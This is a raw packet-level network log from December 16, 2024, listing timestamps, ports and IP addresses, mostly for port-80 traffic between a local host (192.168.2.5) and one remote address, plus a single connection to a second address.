Dec 16, 2024 09:01:42.836134911 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.836134911 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.837172031 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.837224960 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.837279081 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.837352037 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.838355064 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.838430882 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.838469028 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.838550091 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.839579105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.839653015 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.839668036 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.839766026 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.840835094 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.840956926 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.841011047 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.841034889 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.841969967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.842041969 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.842044115 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.842102051 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.843128920 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.843249083 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.843307972 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.843307972 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.844408035 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.844505072 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.844579935 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.845634937 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.845668077 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.845680952 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.845712900 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.846729994 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.846803904 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.846889019 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.846960068 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.848426104 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.848500013 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.848535061 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.848611116 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.849132061 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.849178076 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.849232912 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.849289894 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.850348949 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.850466967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.850503922 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.850528002 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.851517916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.851619959 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.851665020 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.852746010 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.852890968 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.852902889 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.852931023 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.853982925 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.854058981 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.854101896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.854156971 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.855130911 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.855195045 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.855247021 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.855489969 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.856441975 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.856512070 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.856525898 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.856578112 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.857619047 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.857716084 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.857790947 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.857840061 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.858831882 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.858891964 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.858911991 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.858978987 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.859888077 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.859965086 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.859994888 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.860050917 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.861080885 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.861159086 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.861186981 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.861244917 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.862273932 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.862373114 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.862406969 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.862469912 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.863487005 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.863559008 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.863588095 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.863790989 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.864687920 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.864758015 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.864784002 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.864834070 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.865909100 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.865969896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.866038084 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.867077112 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.867158890 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.867180109 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.867333889 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.868333101 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.868413925 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.868446112 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.868673086 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.869460106 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.869558096 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.869590044 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.869643927 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.870628119 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.870784998 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.870789051 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.870908976 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.871843100 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.871943951 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.872071028 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.873047113 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.873159885 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.873219013 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.874313116 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.874367952 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.874387026 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.874411106 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.875545979 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.875614882 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.875689030 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.875829935 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.876638889 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.876746893 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.876765013 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.877202034 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:42.877823114 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:42.877935886 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.007131100 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.007205963 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.007220030 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.007278919 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.007731915 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.007788897 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.007838964 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.007926941 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.008644104 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.008740902 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.008816004 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.009823084 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.009941101 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.009948969 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.009987116 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.011033058 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.011101961 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.011132956 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.011208057 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.012249947 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.012370110 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.012398958 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.012422085 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.013432026 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.013493061 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.013523102 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.013636112 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.014590979 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.014708042 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.014758110 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.015811920 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.015883923 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.015914917 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.016009092 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.017000914 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.017057896 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.017086983 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.017143965 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.018176079 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.018191099 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.018261909 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.019395113 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.019447088 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.019486904 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.019551992 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.020576000 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.020642996 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.020668983 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.020720005 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.021771908 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.021831036 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.021888971 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.022981882 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.023092031 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.023174047 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.024164915 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.024245024 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.024280071 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.024420977 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.025376081 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.025465012 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.025504112 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.025551081 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.026541948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.026653051 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.026671886 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.026745081 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.027825117 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.027879953 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.027900934 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.028151989 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.028978109 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.029033899 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.029093981 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.029093981 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.030121088 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.030250072 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.030316114 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.031375885 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.031435013 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.031450987 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.031651020 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.032516003 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.032579899 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.032643080 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.032800913 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.033761024 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.033833027 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.033839941 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.033890009 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.034944057 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.035053015 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.035100937 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.036186934 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.036206961 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.036256075 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.037283897 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.037369013 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.037400961 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.037450075 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.038496017 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.038559914 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.038592100 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.038666964 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.039693117 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.039751053 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.039810896 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.039881945 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.040869951 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.041003942 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.041069031 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.042081118 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.042224884 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.042367935 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.043267012 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.043345928 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.043389082 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.043466091 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.044492006 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.044573069 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.044647932 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.044706106 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.045674086 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.045727968 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.045748949 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.045773983 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.046986103 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.047060966 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.047127008 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.048063040 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.048135996 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.048166990 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.048239946 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.049257994 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.049310923 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.049370050 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.049438000 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.050481081 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.050551891 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.050642967 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.050683975 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.051660061 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.051755905 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.051762104 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.051822901 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.052831888 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.052928925 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.053014994 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.054028034 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.054135084 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.054203033 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.055247068 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.055310011 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.055351019 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.055412054 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.056402922 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.056457043 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.056478977 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.056559086 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.057625055 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.057676077 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.057749033 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.057805061 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.058799028 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.058907032 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.058907986 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.059000015 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.059997082 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.060077906 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.060112000 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.060343027 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.061240911 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.061296940 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.061321020 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.061520100 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.062470913 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.062530994 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.062603951 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.063617945 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.063708067 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.063723087 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.063858986 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.064899921 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.064973116 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.065025091 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.065025091 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.065958023 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.066047907 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.066078901 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.066176891 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.067184925 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.067270994 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.067301989 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.067374945 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.068469048 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.068555117 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.068670034 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.068777084 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.069927931 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.070022106 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.182552099 CET	49906	80	192.168.2.5	141.8.192.141
Dec 16, 2024 09:01:43.199440956 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.199655056 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:43.199836016 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:43.199908018 CET	49900	80	192.168.2.5	31.41.244.11
